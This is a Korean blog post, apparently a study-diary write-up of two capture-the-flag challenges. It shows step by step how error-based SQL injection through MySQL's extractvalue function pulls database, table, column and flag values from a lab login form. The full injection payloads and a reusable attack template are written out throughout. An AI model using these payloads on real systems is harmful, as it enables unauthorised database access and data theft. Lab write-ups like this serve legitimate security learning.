본문 바로가기

웹 해킹

웹 해킹 공부 일기장 3 - 과제 (챌린지1)

1. flag를 찾아라

 

1) SQL 포인트 찾기

아이디: normaltic

비밀번호: 1234

 

정상적으로 입력 시에는 로그인 성공하면서 redirect로 index.php로 이동시켜줍니다.

 

사용할 SQL Injection 기법 구분은 

우리가 입력한 부분이 SQL 구문으로 사용될 것이라 판단되는 곳의 결과로 화면에 출력 되는 경우

에러메시지가 출력되는 지 확인해보고 되면 Error Based SQLI

에러메시지가 아니라 결과가 화면에 출력되는 경우에는 UNION SQLI

만약 결과가 화면에 출력되지 않고 성공 여부에 따라 결과가 달라질 경우는 Blind SQLI를 사용하면 될 것 같습니다.

 

일단 에러가 발생하면 화면에 에러메시지를 출력해주는 지 확인해보겠습니다.

오류 발생확인

 

normaltic' 을 입력해주니 SQL syntax에러 (문법 에러)가 화면에 출력됩니다.

아무래도 서버측 코드와 합쳐지면서 마지막에 '이 남아버려 에러가 발생했을 것입니다.

select * from member where id ='normaltic''

아마 위의 코드처럼 입력한 아이디와 같은 아이디의 정보를 가져와서 로그인을 시켜줄 것입니다. 

에러 메시지를 사용할 것이라 식별/인증 동시인지 분리해서 하는지는 별로 중요하지 않습니다.

하지만, 서버측 코드를 생각해서 문법에러가 나지않게 공격 포맷을 만들어야 할 것입니다.

 

그럼 우리는 Error Based SQLI를 사용할 수 있을 것 같습니다.

 

하지만 우리가 필요한건 문법에러 같은 것이 아니라 SQL 문을 실행하다 발생한 에러가 필요합니다.

그때 사용하는 함수가 있었습니다. extractvalue함수였죠??

 

이 함수가 사용이 되는지 먼저 확인해보겠습니다.

조금씩 바꿔가며 여러번 요청할 것이기 때문에 버프스위트 repeater기능을 사용해서 요청을 보내겠습니다.

extractvalue 사용가능 여부

 

extractvalue를 사용하니 우리가 원하는 ':test' 부분이 XPATH오류로 화면에 출력되었습니다.

 

그럼 바로 select도 가능한지 확인해보겠습니다.

extractvalue(1, concat(':', (select 'test')))

 

이렇게 적어주면 되겠죠? concat으로 ':' 를 앞에 붙혀줘야합니다.!!

select도 사용가능합니다.

 

이번엔 hello를 출력해보았습니다.

 

2) 공격 format만들기

' and extractvalue(1, concat(':', (select 'hello'))) #

 

위와 같이 입력하니 우리가 원하는 문자를 출력할 수 있었습니다. 그럼 select 부분만 우리가 원하는 데이터를 가져오는 SQL 을 입력해주면 될 것같습니다.

' and extractvalue(1, concat(':', (__SQL__))) #

 

SQL 부분에 넣어주기만 하면됩니다.

공격 포맷까지 만들었습니다.

 

그럼 끝이죠? 데이터베이스 이름부터 원하는 데이터까지 그냥 가져와 출력시켜주면 됩니다.

 

3) DB 이름 확인

- select database() (현재 데이터베이스 이름 확인)

- select table_schema from information_schema.tables where group by table_schema (모든 데이터베이스 이름 확인)

 

또, 한가지 방법이 있습니다. information_schema 데이터베이스의 shemata 테이블의 schema_name 컬럼에도 저장되어있습니다.

어떻게 사용할 수 있을까요???

select schema_name from information_schema.schemata 를 적어주면 되겠죠? (모든 데이터베이스 이름 확인)

 

위 3가지 중 아무거나 사용해도 상관없습니다.

' and extractvalue(1, concat(':', (select database()))) #

데이터베이스 이름 확인

 

데이터베이스 이름이 에러와 함께 출력됩니다.

 

4) Table 이름 확인

- select table_name from information_schema.tables where table_schema='데이터베이스 이름'

' and extractvalue(1, concat(':', (select table_name 
from information_schema.tables where table_schema='sqli_2' limit 0,1))) #

 

한 행씩 밖에 출력을 못하니 limit를 넣어줍니다.

테이블 이름 확인

 

첫번째 테이블 이름이 flag_table 입니다. 아무래도 여기 있을 것 같으니 바로 컬럼 확인하러 갑시다.

 

5) 컬럼 이름 확인

- select column_name from information_schema.columns where table_name='테이블 이름'

' and extractvalue(1, concat(':', (select column_name 
from information_schema.columns where table_name='flag_table' limit 0,1))) #

컬럼 이름 확인

이번에도 첫번째 컬럼이 flag 이네요? 그럼 마지막 데이터 뽑으러 갑시다.

 

6) 데이터 추출

- select [컬럼이름] from [테이블이름]

' and extractvalue(1, concat(':', (select flag from flag_table limit 0,1))) #

원하는 데이터 추출

전부 첫번째 행에 우리가 원하는 것이 있네요

flag 찾기 성공했습니다.

 

아직 Error Based SQLI 챌린지가 두개 더 남았는데 그것들은 좀 숨겨져 있을 듯 하네요...

 

2. Flag를 찾아라!

 

1) SQL 포인트 찾기

아이디: normaltic 

비밀번호: 1234

 

이번에도 정상적으로 로그인하면 redirect로 index.php로 이동시켜줍니다.

1-1) 에러메시지 출력되는지 확인

에러메시지 출력

 

일단 normaltic'을 입력해주니 SQL 문법에러가 뜨는 것을 확인했습니다.

 

1-2) extractvalue 함수를 사용할 수 있는지 확인

extractvalue 함수 사용 가능 여부

 

extractvalue 함수에 오류를 발생시키니 원하는 문장이 에러메시지에 출력됩니다.

extractvalue함수도 사용할 수 있습니다.

 

1-3) select 구문 사용 가능한지 확인 

select 사용 가능 여부

 

concat(0x3a, select 'test') 로 ':test'를 만들어준다음 extractvalue에 넣어주니 에러메시지에 원하는 문자가 포함되어 출력됩니다.

 

2) 공격 format 만들기

' and extractvalue('1', concat(0x3a, (__SQL__))) #

 

앞서 만든 문자열의 SQL 부분에 원하는 SQL 만 넣으면 실행되어 에러메시지에 포함되어 출력될 것입니다.

 

 

3) DB 이름 확인

select database()

select schema_name from information_schema.schemata

select table_schema from information_schema.tables group by table_schema

 

' and extractvalue('1', concat(0x3a, (select schema_name 
from information_schema.schemata limit 0,1))) #

 

이제부터는 전체 데이터베이스 이름도 확인해보겠습니다.

물론 이렇게 여러 행을 가져올 때는 limit으로 한 행씩 가져와야합니다.

 

공격 포맷의 SQL 부분에 데이터베이스 이름을 가져오는 SQL 구문을 넣어서 실행해줍니다.

데이터베이스 이름 확인

데이터베이스
information_schema
sqli_2_1

 

 

4) Table 이름 확인

select table_name from information_schema.tables where table_schema='sqli_2_1'

 

' and extractvalue('1', concat(0x3a, (select table_name 
from information_schema.tables where table_schema='sqli_2_1' limit 0,1))) #

테이블 이름 확인

데이터베이스 이름 테이블 이름
sqli_2_1 flag_table
sqli_2_1 member

 

 

5) 컬럼 이름 확인

select column_name from information_schema.columns where table_name='flag_table'

 

' and extractvalue('1', concat(0x3a, (select column_name 
from information_schema.columns where table_name='flag_table' limit 0,1))) #

컬럼 이름 확인

데이터베이스 이름 테이블 이름 컬럼 이름
sqli_2_1 flag_table flag1, flag2, ... , flag8

 

 

6) 데이터 추출

select flag1 from flag_table

' and extractvalue('1', concat(0x3a, (select flag1 from flag_table limit 0,1))) #

 

데이터 추출

 

각 컬럼마다 플래그를 나누어 저장해놓은 것 같습니다.

 

concat으로 우리는 문자열을 합칠 수 있었죠??

각 컬럼에 저장된 플래그를 select할 때 전부 concat으로 합쳐서 출력해주면 될 것 같습니다.

' and extractvalue('1', concat(0x3a, 
(select concat(flag1, flag2, flag3, flag4, flag5, flag6, flag7, flag8)
from flag_table limit 0,1))) #

플래그 확인

 

근데 왜인지는 모르겠는 데 flag5까지 밖에 문자가 안 합쳐집니다. 그래서 나머지는 걍 따로 붙혀서 풀긴했는데

찾아보니 인자 개수는 상관이 없고 5개만 넘어가면그 뒷 부분이 안나오네요....

혹시 아시는분 알려주시면 감사하겠습니다.

 

두번째 문제도 절차를 따라가니 쉽게 풀 수 있었습니다.

 

남은 문제도 풀고 바로 작성해보겠습니다.